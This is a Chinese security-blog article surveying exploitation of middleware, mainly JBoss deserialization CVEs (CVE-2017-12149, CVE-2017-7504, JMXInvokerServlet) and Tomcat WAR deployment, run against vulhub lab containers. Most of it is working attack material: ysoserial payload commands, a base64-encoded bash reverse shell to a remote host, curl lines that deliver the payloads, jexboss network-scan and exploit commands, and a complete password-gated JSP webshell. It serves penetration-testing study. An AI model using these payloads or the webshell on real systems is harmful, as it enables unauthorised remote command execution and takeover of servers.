freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

中间件利用面总结
2024-09-05 17:35:15

本篇文章介绍一下中间件相关的利用面

常见的中间件有Jboss、Weblogic、Websphere、Tomcat、Apache、Nginx、IIS

Jboss

由于红蓝对抗中出现Jboss的概率较高,因此记录一下Jboss的利用面

JBoss是一个基于J2EE的开放源代码应用服务器,代码遵循LGPL许可,可以在任何商业应用中免费使用;JBoss也是一个管理EJB的容器和服务器,支持EJB 1.1、EJB 2.0和EJB3规范。

JBoss反序列化(CVE-2017-12149)

漏洞描述

该漏洞为 Java反序列化错误类型,存在于 Jboss 的 HttpInvoker 组件中的 ReadOnlyAccessFilter 过滤器中。该过滤器在没有进行任何安全检查的情况下尝试将来自客户端的数据流进行反序列化,从而导致了漏洞。

影响版本:

Jboss AS 5.x
Jboss AS 6.x

环境搭建:

这里使用vulhub的环境

svn checkout https://github.com/vulhub/vulhub/trunk/jboss/CVE-2017-12149
cd CVE-2017-12149
docker-compose up -d

访问8080端口即可

1725528622_66d97a2e07aeaf66940c3.png!small?1725528622213

漏洞复现

访问路由/invoker/readonly,见到500状态码

1725528627_66d97a33e62515b6c7857.png!small?1725528628158

使用ysoserial来生成序列化数据到poc.ser

# 反弹shell命令base64编码
echo "bash -i &>/dev/tcp/xxx/xxx <&1"|base64
YmFzaCAtaSAmPi9kZXYvdGNwLzE4Mi4xNjAuOS4zNS85OTk5IDwmMQo=
# 利用ysoserial的CC5链子生成序列化代码
java -jar ysoserial.jar CommonsCollections5 "bash -c {echo,YmFzaCAtaSAmPi9kZXYvdGNwLzE4Mi4xNjAuOS4zNS85OTk5IDwmMQo=}|{base64,-d}|{bash,-i}" > poc.ser

传递序列化数据进行攻击

curl http://192.168.119.157:8080/invoker/readonly --data-binary @poc.ser

1725528692_66d97a74442fe6865e93e.png!small?1725528692727

此时查看vps,成功监听到反弹的shell

1725528698_66d97a7a4c3e76d400ef8.png!small?1725528698443

漏洞分析

该漏洞存在于http invoker 组件的 ReadOnlyAccessFilter 的doFilter中。如下图所示:

1725528703_66d97a7fcd5ab24cb3396.jpeg!small?1725528704037

方法中的代码在没有进行任何安全检查的情况下,将来自客户端的数据流(request.getInputStream())进行了反序列化操作(红色箭头所示),从而导致了反序列化漏洞。

JBossMQ反序列化(CVE-2017-7504)

漏洞描述:

Red Hat JBoss Application Server 是一款基于JavaEE的开源应用服务器。JBoss AS 4.x及之前版本中,JbossMQ实现过程的JMS over HTTP Invocation Layer的HTTPServerILServlet.java文件存在反序列化漏洞,远程攻击者可借助特制的序列化数据利用该漏洞执行任意代码。

影响版本:

Jboss 4.x

环境搭建

svn checkout https://github.com/vulhub/vulhub/trunk/jboss/CVE-2017-7504
cd CVE-2017-7504
docker-compose up -d

该漏洞出现在/jbossmq-httpil/HTTPServerILServlet请求中,我们借助ysoserial的eCommonsCollections5利用链来复现。生成Payload:

java -jar ysoserial-master-30099844c6-1.jar CommonsCollections5 "touch /tmp/success" > 1.ser

我们将1.ser文件内容作为POST Body发送:

curl http://your-ip:8080/jbossmq-httpil/HTTPServerILServlet --data-binary @1.ser

1725528713_66d97a89c193bb5624c7b.png!small?1725528713901

执行docker-compose exec jboss bash进入容器,可见/tmp/success已成功创建。

JBoss JMXInvokerServlet 反序列化漏洞

漏洞描述:

这是经典的JBoss反序列化漏洞,JBoss在/invoker/JMXInvokerServlet请求中读取了用户传入的对象,然后我们利用Apache Commons Collections中的Gadget执行任意代码。

环境搭建:

参考CVE-2017-7504

漏洞利用:

java -jar ysoserial-master-30099844c6-1.jar CommonsCollections5 "touch /tmp/success" > 1.ser
curl http://your-ip:8080/invoker/JMXInvokerServlet --data-binary @1.ser

利用工具

jexboss

项目地址:https://github.com/joaomatosf/jexboss

项目介绍:

JexBoss is a tool for testing and exploiting vulnerabilities in JBoss Application Server and others Java Platforms, Frameworks, Applications, etc.

简称:JBoss应用服务器攻击及其他Java平台攻击神器

Windows安装:

PATH=$PATH:C:\Python27\
PATH=$PATH:C:\Python27\Scripts
git clone https://github.com/joaomatosf/jexboss.git
cd jexboss
pip install -r requires.txt
python jexboss.py -h
python jexboss.py -host http://target_host:8080

攻击组件:

1725528721_66d97a91c834dd7cd19be.png!small?1725528722099

扫描模式:

python jexboss.py -mode auto-scan -network 192.168.119.0/24 -ports 8080 -results results.txt

1725528728_66d97a9896cd37fbd1132.png!small?1725528728772

定点利用:

python2 jexboss.py -u http://192.168.119.157:8080/

1725528734_66d97a9e4b3250436ea62.png!small?1725528734582

反弹shell成功

1725528739_66d97aa3f1c7815cb60f0.png!small?1725528740147

JbossScan

项目地址:

https://github.com/GGyao/jbossScan

项目介绍:

扫描jboss漏洞

将url放入target.txt

python .\jbossScan.py

1725528747_66d97aab74029a5a98077.png!small?1725528747626

JBoss漏洞检测工具 by lab

1725528754_66d97ab206778dc610869.png!small?1725528754757

Tomcat

Tomcat部署war

前提条件:能够进入Tomat管理后台

1725528760_66d97ab8d20c6e6acd592.png!small?1725528761358

准备恶意webshell

<%@ page language="java" contentType="text/html; charset=GBK"
pageEncoding="UTF-8"%>
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>

<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<title>horse</title>
</head>

<body>
<%
if ("admin".equals(request.getParameter("pwd"))) {
java.io.InputStream input = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream();
int len = -1;
byte[] bytes = new byte[4092];
out.print("<pre>");
while ((len = input.read(bytes)) != -1) {
out.println(new String(bytes, "GBK"));
}
out.print("</pre>");
}
%>
</body>

</html>

打包成war包

jar -cvf [war包名称].war 打包目录
jar -cvf test.war *

将test.war通过部署war包的形式上传

1725528768_66d97ac0ce4713a766513.png!small?1725528769022

即可在网站对应目录下访问到webshell

1725528773_66d97ac5774504a91e770.png!small?1725528773970

Tomcat任意文件读取(cve-2020-1938)

前提条件:

  • Apache Tomcat 9.0.0.M1 到 9.0.0.30

  • Apache Tomcat 8.5.0 到 8.5.50

  • Apache Tomcat 7.0.0 到 7.0.99

利用脚本:

https://github.com/zhzyker/exphub/blob/master/tomcat/cve-2020-1938_exp.py

# 渗透测试 # web安全 # 漏洞分析 # 中间件
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录